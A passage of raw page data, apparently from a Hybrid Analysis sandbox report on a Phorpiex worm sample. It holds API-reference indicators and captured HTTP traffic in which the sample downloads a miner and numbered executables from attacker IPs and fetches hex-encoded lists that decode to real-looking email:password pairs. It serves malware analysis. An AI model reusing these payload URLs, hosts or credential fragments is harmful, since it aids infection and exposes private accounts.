26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 79:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4a1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Worm.Phorpiex.Generic Sample 2e354b692766… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2e354b692766…. Malware family: Worm.Phorpiex.Generic. Threat score 100/100. 10/27 AV engines flagged this file. 11 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2e354b69276617989d1b001094fc0d63473fa0d05900cd73d25e17779f82b5f1","keywords":["Malicious","Worm.Phorpiex.Generic","malware analysis","sandbox report","threat intelligence","2e354b69276617989d1b001094fc0d63473fa0d05900cd73d25e17779f82b5f1"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"2e354b69276617989d1b001094fc0d63473fa0d05900cd73d25e17779f82b5f1","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Worm.Phorpiex.Generic","antivirusDetections":{"malicious":10,"total":27},"behavioralIndicators":{"malicious":11,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4c7,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "2e354b69276617989d1b001094fc0d63473fa0d05900cd73d25e17779f82b5f1.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000408.00000000.259367.00864000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001288.00000000.258626.01314000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001636.00000001.261511.00B44000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003644.00000000.259468.00E54000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004404.00000001.261099.00C24000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004704.00000000.259264.00164000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005960.00000000.259108.012E4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007772.00000001.261652.00334000.00000002.mdmp")28:Td90,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "2e354b69276617989d1b001094fc0d63473fa0d05900cd73d25e17779f82b5f1.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "2e354b69276617989d1b001094fc0d63473fa0d05900cd73d25e17779f82b5f1.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000408.00000000.259367.00864000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000408.00000000.259367.00864000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001288.00000000.258626.01314000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001288.00000000.258626.01314000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001636.00000001.261511.00B44000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001636.00000001.261511.00B44000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003644.00000000.259468.00E54000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003644.00000000.259468.00E54000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004404.00000001.261099.00C24000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004404.00000001.261099.00C24000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004704.00000000.259264.00164000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004704.00000000.259264.00164000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005960.00000000.259108.012E4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005960.00000000.259108.012E4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006840.00000000.258476.01062000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006840.00000000.258476.01062000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007232.00000000.259889.EA97B000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007232.00000000.259889.EA97B000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007772.00000001.261652.00334000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007772.00000001.261652.00334000.00000002.mdmp")29:T4ab,Found reference to API "ControlServiceEx" (Indicator: "ControlService"; Source: "00000000-00007232.00000000.259889.EA97B000.00000002.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00007232.00000000.259889.EA97B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2 (delayed autostart flag)" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007232.00000000.259889.EA97B000.00000002.mdmp") Found reference to API "ChangeServiceConfig" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007232.00000000.259889.EA97B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007232.00000000.259889.EA97B000.00000002.mdmp") Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007232.00000000.259889.EA97B000.00000002.mdmp") Found reference to API "ControlServiceExW" (Indicator: "ControlService"; Source: "00000000-00007232.00000000.259889.EA97B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007232.00000000.259889.EA97B000.00000002.mdmp")2a:T819,Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00000408.00000000.259367.02CC0000.00000004.mdmp, 00000000-00000408.00000001.261287.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00001288.00000000.258626.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00001636.00000000.259592.03160000.00000004.mdmp, 00000000-00001636.00000001.261511.03160000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00003644.00000000.259468.00BB0000.00000004.mdmp, 00000000-00003644.00000001.261387.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004404.00000000.259178.03640000.00000004.mdmp, 00000000-00004404.00000001.261099.03640000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004704.00000000.259264.02A60000.00000004.mdmp, 00000000-00004704.00000001.261187.02A60000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00005960.00000000.259108.03440000.00000004.mdmp, 00000000-00005960.00000001.261027.03440000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00006840.00000000.258476.034D0000.00000004.mdmp, 00000000-00006840.00000001.259460.034D0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007772.00000000.259732.02750000.00000004.mdmp, 00000000-00007772.00000001.261652.02750000.00000004.mdmp")2b:Ta12,"" (Indicator: "enumchildwindows"; Source: "00000000-00000408.00000000.259367.02CC0000.00000004.mdmp, 00000000-00000408.00000001.261287.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00001288.00000000.258626.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00001636.00000000.259592.03160000.00000004.mdmp, 00000000-00001636.00000001.261511.03160000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00003644.00000000.259468.00BB0000.00000004.mdmp, 00000000-00003644.00000001.261387.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004404.00000000.259178.03640000.00000004.mdmp, 00000000-00004404.00000001.261099.03640000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004704.00000000.259264.02A60000.00000004.mdmp, 00000000-00004704.00000001.261187.02A60000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00005960.00000000.259108.03440000.00000004.mdmp, 00000000-00005960.00000001.261027.03440000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00006840.00000000.258476.034D0000.00000004.mdmp, 00000000-00006840.00000001.259460.034D0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007772.00000000.259732.02750000.00000004.mdmp, 00000000-00007772.00000001.261652.02750000.00000004.mdmp")32:Tc6c," HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:15:49 GMT Content-Type: application/octet-stream Content-Length: 22528 Last-Modified: Thu 02 Apr 2026 18:04:54 GMT Connection: keep-alive ETag: "69ceafc6-5800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /xmr.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:15:50 GMT Content-Type: application/octet-stream Content-Length: 7084544 Last-Modified: Thu 05 Mar 2026 13:36:23 GMT Connection: keep-alive ETag: "69a986d7-6c1a00" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /1.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:15:57 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Sun 05 Apr 2026 18:48:52 GMT Connection: keep-alive ETag: "69d2ae94-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:15:58 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Sun 05 Apr 2026 18:49:08 GMT Connection: keep-alive ETag: "69d2aea4-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /3.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:15:59 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Sun 05 Apr 2026 18:49:24 GMT Connection: keep-alive ETag: "69d2aeb4-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Apr 2026 02:15:59 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=jPWNmcjBEF.L76jq3xj2v.hsc0XgMBDW8J2ifx8d6yg-1775441759.51887-1.0.1.1-ys.8AvEzyI.nXK.sWGbAfjYW50E9VKoObVeAXOgLm2mfV.4aJP37qDf7YAttu8l_YJR3fuU7txNnetrW8tyx6Pz9QkKndc9weF9MdJXX0YWQE00jZB0Hmt7YIidpgIDR; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Apr 2026 02:45:59 GMT Server: cloudflare CF-RAY: 9e7d49b4ff682af7-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /1/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.135" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:00 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Fri 27 Mar 2026 05:34:30 GMT Connection: keep-alive ETag: "69c616e6-6" Accept-Ranges: bytes with response body ==>31383530300A....... "GET /4.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:00 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Sun 05 Apr 2026 18:49:40 GMT Connection: keep-alive ETag: "69d2aec4-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /1/10974.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.135" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:00 GMT Content-Type: text/plain Content-Length: 258243 Last-Modified: Thu 26 Mar 2026 13:00:25 GMT Connection: keep-alive ETag: "69c52de9-3f0c3" Accept-Ranges: bytes with response body ==>3170407765622E64653A73636877696D6D656E310A6D6172696568616D6D6572407765622E64653A6D6172696568616D0A65676F6E7A616C657A363840766964....... "GET /5.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:02 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Sun 05 Apr 2026 18:49:54 GMT Connection: keep-alive ETag: "69d2aed2-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Apr 2026 02:16:02 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=9WO.0iFssU5p3uXRUcPJ2z.G21I_H1EGuYwplXzod.w-1775441762.3565483-1.0.1.1-WkmLAm6uZixXcVD.c9_1pzGEqDnPj3efhM.jMHfx4f76UzmOyjg0qOOOjb02vGO4dHMuxrs6dtglN6wf.6XixwjpMAWTr3dJuPqzY0yoQLX6ZxzxU3yW_AvsTQtTpPfY; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Apr 2026 02:46:02 GMT Server: cloudflare CF-RAY: 9e7d49c6bd58230a-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /2/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.135" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:03 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Mon 06 Apr 2026 01:59:46 GMT Connection: keep-alive ETag: "69d31392-6" Accept-Ranges: bytes with response body ==>33363331340A....... "GET /6.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:04 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Sun 05 Apr 2026 18:50:10 GMT Connection: keep-alive ETag: "69d2aee2-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /2/17014.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.135" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:04 GMT Content-Type: text/plain Content-Length: 258218 Last-Modified: Thu 02 Apr 2026 21:57:40 GMT Connection: keep-alive ETag: "69cee654-3f0aa" Accept-Ranges: bytes with response body ==>6861726E6F73617572757340696E74657269612E706C3A373739316A756C7930310A74646F7265407278727265616C74792E636F6D3A5175696E6E3132320A76....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Apr 2026 02:16:04 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=armIFuFiSyTFOMz1KUZdiDKxVA9k8e12gpj6tQBWonU-1775441764.2508342-1.0.1.1-GDoWqydcnpXf8He.Nm5YHjvcsxSqdA7xf2QWc206K7Vf4HMebt1JbFHsEimV33tXAjCgX4rbVi0MKthTaFkEx1h2brdZjhBMBvxxVroWjT_FFjFC03SAby8V3QS0IzLo; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Apr 2026 02:46:04 GMT Server: cloudflare CF-RAY: 9e7d49d29dc69913-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /3/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.135" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:05 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Mon 06 Apr 2026 02:00:51 GMT Connection: keep-alive ETag: "69d313d3-6" Accept-Ranges: bytes with response body ==>33363638340A....... "GET /7.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:06 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Sun 05 Apr 2026 18:51:04 GMT Connection: keep-alive ETag: "69d2af18-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Apr 2026 02:16:06 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=7V7McgFRl5wA2nBk82wu3TK_YXTs1JP58DZzEjtCr1s-1775441766.788097-1.0.1.1-kM3u_iPcnONM6VunyFir_Nay8CQJIiwNarUlzN79DpB7efGfaMnh6fMwdlfqBzyYDHx8Qy7ub3iFRZcJXXBmkk4vmiRQiW.gJpKi52H2.Kis2TgKEqZRFnWMq_ppK0kW; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Apr 2026 02:46:06 GMT Server: cloudflare CF-RAY: 9e7d49e26ff51321-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /3/24291.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.135" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:07 GMT Content-Type: text/plain Content-Length: 258498 Last-Modified: Sat 28 Mar 2026 02:24:31 GMT Connection: keep-alive ETag: "69c73bdf-3f1c2" Accept-Ranges: bytes with response body ==>72652E6E65743A6B616472656C6C352E0A33333438313031353840736F68752E636F6D3A67616F687569353231313331340A67676F6F6161747439407961686F....... "GET /4/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.135" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:07 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Mon 30 Mar 2026 15:54:39 GMT Connection: keep-alive ETag: "69ca9cbf-6" Accept-Ranges: bytes with response body ==>33323238340A....... "GET /4/30721.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.135" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:08 GMT Content-Type: text/plain Content-Length: 258943 Last-Modified: Sun 29 Mar 2026 21:01:46 GMT Connection: keep-alive ETag: "69c9933a-3f37f" Accept-Ranges: bytes with response body ==>6B6D616E6C61776669406F72616E67652E66723A686F636B6D616E6C61776669726D6D0A6D647572616E64406178697374616E64617264732E66723A53382178....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Apr 2026 02:16:09 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=bdxD2JaCwFyswkTwrOe_ehZO0UVXSudqJMURnXkgeCw-1775441769.6171253-1.0.1.1-iCD.TeRFv0HeIlIoKLCQvrPcAqM8P6g0o5WidCeqQnwA3wQptBS3cYF3Up3Xkh0nU8gVLt4PaPZBlSPzk2dejx8K0VFrsts7WPvpjMuQPqei6clBamfe.7OWOJNGnPCJ; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Apr 2026 02:46:09 GMT Server: cloudflare CF-RAY: 9e7d49f41f0b176a-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /5/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.135" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:10 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Tue 31 Mar 2026 10:10:37 GMT Connection: keep-alive ETag: "69cb9d9d-6" Accept-Ranges: bytes with response body ==>33323436370A....... "GET /5/7698.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.135" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Apr 2026 02:16:10 GMT Content-Type: text/plain Content-Length: 258126 Last-Modified: Tue 31 Mar 2026 05:05:44 GMT Connection: keep-alive ETag: "69cb5628-3f04e" Accept-Ranges: bytes with response body ==>6F6C6535407961686F6F2E636F6D3A646F726F7468790A4F72687373733938407961686F6F2E636F6D3A62656C696576650A4C617572656E62617272656E3330....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Apr 2026 02:16:11 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=WWOjzswxA.j5ZA82yj4e0yBk4iFTCDDiXR5Uor6xjR8-1775441771.0314925-1.0.1.1-KJHZwRgfKQw4HJ5fPbOVPLV96dR9VL3bW0sw8_nGNdC4cWKTLjM5NuEzJy66Isee7Oh6fqN0CXFm8Zds7BBMUHaF1kJLp330.AO99DpErX99JmdAzThUsm00eIvqjd6U; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Apr 2026 02:46:11 GMT Server: cloudflare CF-RAY: 9e7d49fcfd46cb6f-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A.......47:T3cbe,"" (Indicator: "GetDC"; Source: "00000000-00000408.00000000.259367.02CC0000.00000004.mdmp, 00000000-00000408.00000001.261287.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000408.00000000.259367.02CC0000.00000004.mdmp, 00000000-00000408.00000001.261287.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000408.00000000.259367.02CC0000.00000004.mdmp, 00000000-00000408.00000001.261287.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000408.00000000.259367.02CC0000.00000004.mdmp, 00000000-00000408.00000001.261287.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000408.00000000.259367.02CC0000.00000004.mdmp, 00000000-00000408.00000001.261287.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000408.00000000.259367.02CC0000.00000004.mdmp, 00000000-00000408.00000001.261287.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000408.00000000.259367.02CC0000.00000004.mdmp, 00000000-00000408.00000001.261287.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000408.00000000.259367.02CC0000.00000004.mdmp, 00000000-00000408.00000001.261287.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001288.00000000.258626.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: 